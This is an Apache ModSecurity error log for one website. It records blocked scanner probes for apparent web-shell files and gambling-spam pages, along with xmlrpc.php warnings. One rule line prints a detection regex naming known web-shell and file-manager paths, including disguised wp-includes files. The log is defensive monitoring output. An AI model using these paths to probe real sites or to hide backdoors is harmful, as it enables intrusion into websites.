[Sun Apr 19 20:56:10.017952 2026] [:error] [pid 15763:tid 15812] [client 20.166.83.47:11109] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aeTQ6rMXv1Y1THOoxaDwyQAAAhA"]
[Sun Apr 19 20:56:10.714279 2026] [:error] [pid 15693:tid 15718] [client 20.166.83.47:11127] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aeTQ6sNMD-ccazQlTslYNgAAAVY"]
[Sun Apr 19 20:56:11.423247 2026] [:error] [pid 47773:tid 47827] [client 20.166.83.47:11090] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aeTQ6-iBHdnCJDuPq9A7KwAAAEs"]
[Sun Apr 19 20:56:12.091727 2026] [:error] [pid 15763:tid 15814] [client 20.166.83.47:11125] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "aeTQ7LMXv1Y1THOoxaDw1gAAAhI"]
[Sun Apr 19 20:56:12.731978 2026] [:error] [pid 15760:tid 15791] [client 20.166.83.47:11130] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeTQ7PSdD_XHQMJ_ISscEQAAAdc"]
[Sun Apr 19 20:56:13.443501 2026] [:error] [pid 15694:tid 15742] [client 20.166.83.47:11075] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeTQ7bimB-jol1fwqAoJwgAAAZA"]
[Sun Apr 19 20:56:13.997988 2026] [:error] [pid 15763:tid 15803] [client 20.166.83.47:11111] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeTQ7bMXv1Y1THOoxaDw3gAAAgc"]
[Sun Apr 19 20:56:14.669259 2026] [:error] [pid 47886:tid 47894] [client 20.166.83.47:11018] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeTQ7kSe8yiyuPrD7yNy1wAAAMY"]
[Sun Apr 19 20:56:15.811463 2026] [:error] [pid 15764:tid 15834] [client 20.166.83.47:11101] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeTQ72LL_sqdSHoVp-QIWQAAAkg"]
[Sun Apr 19 20:56:16.672876 2026] [:error] [pid 15764:tid 15827] [client 20.166.83.47:11195] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeTQ8GLL_sqdSHoVp-QIXQAAAkE"]
[Sun Apr 19 20:56:17.749854 2026] [:error] [pid 15764:tid 15843] [client 20.166.83.47:11107] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeTQ8WLL_sqdSHoVp-QIZQAAAlE"]
[Sun Apr 19 20:56:18.697804 2026] [:error] [pid 47772:tid 47813] [client 20.166.83.47:11083] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeTQ8oc0L16cb4smAz-y5QAAABg"]
[Sun Apr 19 20:56:19.309302 2026] [:error] [pid 47772:tid 47812] [client 20.166.83.47:11108] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "aeTQ84c0L16cb4smAz-y6QAAABc"]
[Sun Apr 19 20:56:19.947753 2026] [:error] [pid 15764:tid 15828] [client 20.166.83.47:11188] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "aeTQ82LL_sqdSHoVp-QIfQAAAkI"]
[Sun Apr 19 20:56:20.626569 2026] [:error] [pid 47886:tid 47908] [client 20.166.83.47:11023] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "aeTQ9ESe8yiyuPrD7yNy3wAAANQ"]
[Sun Apr 19 20:56:21.452431 2026] [:error] [pid 15763:tid 15801] [client 20.166.83.47:11084] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "aeTQ9bMXv1Y1THOoxaDw5QAAAgU"]
[Sun Apr 19 20:56:22.315192 2026] [:error] [pid 47772:tid 47794] [client 20.166.83.47:11008] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeTQ9oc0L16cb4smAz-y6wAAAAU"]
[Sun Apr 19 20:56:24.060919 2026] [:error] [pid 15765:tid 15867] [client 20.166.83.47:11027] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeTQ-PRqinw-W5EwQ773OwAAAo4"]
[Sun Apr 19 20:56:25.128580 2026] [:error] [pid 47772:tid 47799] [client 20.166.83.47:10955] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeTQ-Yc0L16cb4smAz-y8QAAAAo"]
[Sun Apr 19 20:56:25.948491 2026] [:error] [pid 47773:tid 47823] [client 20.166.83.47:11131] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeTQ-eiBHdnCJDuPq9A7MQAAAEc"]
[Sun Apr 19 20:56:26.689833 2026] [:error] [pid 47773:tid 47836] [client 20.166.83.47:11022] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aeTQ-uiBHdnCJDuPq9A7NgAAAFQ"]
[Sun Apr 19 20:56:27.649768 2026] [:error] [pid 15764:tid 15839] [client 20.166.83.47:11013] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aeTQ-2LL_sqdSHoVp-QIqQAAAk0"]
[Sun Apr 19 20:56:28.681972 2026] [:error] [pid 15764:tid 15826] [client 20.166.83.47:11104] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aeTQ_GLL_sqdSHoVp-QIqwAAAkA"]
[Sun Apr 19 20:56:29.660137 2026] [:error] [pid 47775:tid 47852] [client 20.166.83.47:11103] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/set.php"] [unique_id "aeTQ_bmztjlk9tsmoewPyAAAAIk"]
[Sun Apr 19 20:56:30.492973 2026] [:error] [pid 47775:tid 47857] [client 20.166.83.47:10958] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hroxw.php"] [unique_id "aeTQ_rmztjlk9tsmoewPyQAAAI4"]
[Sun Apr 19 20:56:31.183124 2026] [:error] [pid 47773:tid 47824] [client 20.166.83.47:11126] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hroxw.php"] [unique_id "aeTQ_-iBHdnCJDuPq9A7VAAAAEg"]
[Sun Apr 19 20:56:32.053140 2026] [:error] [pid 47775:tid 47845] [client 20.166.83.47:11128] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hroxw.php"] [unique_id "aeTRALmztjlk9tsmoewPzQAAAII"]
[Sun Apr 19 20:56:44.757014 2026] [:error] [pid 47775:tid 47864] [client 20.166.83.47:11052] [client 20.166.83.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aeTRDLmztjlk9tsmoewP4wAAAJU"]
[Sun Apr 19 21:30:50.912470 2026] [:error] [pid 15760:tid 15775] [client 104.37.191.206:54264] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeTZCvSdD_XHQMJ_ISszDQAAAcc"]
[Sun Apr 19 22:12:30.301774 2026] [:error] [pid 15760:tid 15773] [client 79.137.65.139:37620] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeTizvSdD_XHQMJ_IStKnQAAAcU"]
[Sun Apr 19 22:12:32.140458 2026] [:error] [pid 15760:tid 15779] [client 79.137.65.139:51554] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeTi0PSdD_XHQMJ_IStKnwAAAcs"]
[Sun Apr 19 22:12:34.035037 2026] [:error] [pid 15764:tid 15850] [client 79.137.65.139:51566] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeTi0mLL_sqdSHoVp-QrowAAAlc"]
[Sun Apr 19 22:12:35.932637 2026] [:error] [pid 15764:tid 15826] [client 79.137.65.139:51576] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeTi02LL_sqdSHoVp-QrpQAAAkA"]
[Sun Apr 19 22:12:37.847427 2026] [:error] [pid 15760:tid 15768] [client 79.137.65.139:43204] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeTi1fSdD_XHQMJ_IStKqAAAAcA"]
[Sun Apr 19 22:12:39.783719 2026] [:error] [pid 15764:tid 15828] [client 79.137.65.139:43220] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeTi12LL_sqdSHoVp-QrrgAAAkI"]
[Sun Apr 19 22:12:41.708967 2026] [:error] [pid 15760:tid 15781] [client 79.137.65.139:43228] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeTi2fSdD_XHQMJ_IStKtAAAAc0"]
[Sun Apr 19 22:12:43.782481 2026] [:error] [pid 47772:tid 47794] [client 79.137.65.139:43230] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeTi24c0L16cb4smAz_N8QAAAAU"]
[Sun Apr 19 22:12:45.697424 2026] [:error] [pid 15763:tid 15813] [client 79.137.65.139:43244] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeTi3bMXv1Y1THOoxaAH5wAAAhE"]
[Sun Apr 19 22:12:47.597652 2026] [:error] [pid 15765:tid 15874] [client 79.137.65.139:58550] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeTi3_Rqinw-W5EwQ74C8wAAApU"]
[Sun Apr 19 22:12:49.490534 2026] [:error] [pid 15765:tid 15875] [client 79.137.65.139:58560] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeTi4fRqinw-W5EwQ74C9AAAApY"]
[Sun Apr 19 22:12:51.507432 2026] [:error] [pid 15760:tid 15792] [client 79.137.65.139:58574] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeTi4_SdD_XHQMJ_IStKzAAAAdg"]
[Sun Apr 19 22:12:53.551039 2026] [:error] [pid 15694:tid 15740] [client 79.137.65.139:58584] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeTi5bimB-jol1fwqAoUCwAAAY4"]
[Sun Apr 19 22:14:42.788774 2026] [:error] [pid 15764:tid 15840] [client 79.137.65.139:37132] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aeTjUmLL_sqdSHoVp-QsNQAAAk4"]
[Sun Apr 19 22:14:44.738762 2026] [:error] [pid 15764:tid 15836] [client 79.137.65.139:51506] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aeTjVGLL_sqdSHoVp-QsOAAAAko"]
[Sun Apr 19 22:14:46.738066 2026] [:error] [pid 15765:tid 15870] [client 79.137.65.139:53618] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aeTjVvRqinw-W5EwQ74DGgAAApE"]
[Sun Apr 19 22:14:48.748314 2026] [:error] [pid 15764:tid 15831] [client 79.137.65.139:53620] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aeTjWGLL_sqdSHoVp-QsPwAAAkU"]
[Sun Apr 19 22:14:50.743220 2026] [:error] [pid 15693:tid 15699] [client 79.137.65.139:53628] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aeTjWsNMD-ccazQlTslgXgAAAUM"]
[Sun Apr 19 22:14:52.760628 2026] [:error] [pid 15760:tid 15775] [client 79.137.65.139:53632] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aeTjXPSdD_XHQMJ_IStLmwAAAcc"]
[Sun Apr 19 22:14:54.783141 2026] [:error] [pid 15760:tid 15792] [client 79.137.65.139:53642] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aeTjXvSdD_XHQMJ_IStLngAAAdg"]
[Sun Apr 19 22:14:56.766398 2026] [:error] [pid 15764:tid 15840] [client 79.137.65.139:52118] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aeTjYGLL_sqdSHoVp-QsTgAAAk4"]
[Sun Apr 19 22:14:58.767976 2026] [:error] [pid 15760:tid 15789] [client 79.137.65.139:52122] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aeTjYvSdD_XHQMJ_IStLrwAAAdU"]
[Sun Apr 19 22:15:00.772998 2026] [:error] [pid 47773:tid 47830] [client 79.137.65.139:52126] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeTjZOiBHdnCJDuPq9BO6QAAAE4"]
[Sun Apr 19 22:15:02.778454 2026] [:error] [pid 15764:tid 15841] [client 79.137.65.139:52142] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aeTjZmLL_sqdSHoVp-QsUgAAAk8"]
[Sun Apr 19 22:49:32.080650 2026] [:error] [pid 15764:tid 15841] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeTrfGLL_sqdSHoVp-Q5hgAAAk8"]
[Sun Apr 19 22:50:49.666710 2026] [:error] [pid 15760:tid 15775] [client 146.70.194.222:45150] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeTryfSdD_XHQMJ_IStfgQAAAcc"]
